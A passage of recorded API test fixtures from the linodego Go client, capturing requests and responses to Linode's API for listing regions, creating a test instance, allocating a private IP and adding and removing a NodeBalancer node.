2024 16:22:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestNodeBalancerNode_CreateInstance.yaml000066400000000000000000001046441474652371000343350ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:52:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-pc0983c8ly2i","root_pass":"ppjQCeY[1M80\u0026y-5P25*ehNeDXEO81`m*C8t8Y\u003e?1evE#0w@858,yHpJB9-\u003cl+}?","image":"linode/debian9","firewall_id":693141,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61876288, "label": "go-test-ins-pc0983c8ly2i", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.253.75"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0e0c1ef96c34828ce8b53e9e04870191260828c7", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "811" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:52:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876288/ips method: POST response: body: '{"address": "192.168.139.192", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 61876288, "region": "ap-west", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "205" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:52:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.139.192:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/805593/configs/1323752/nodes method: POST response: body: '{"id": 2053263282, "address": "192.168.139.192:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1323752, "nodebalancer_id": 805593}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:52:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/805593/configs/1323752/nodes/2053263282 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: 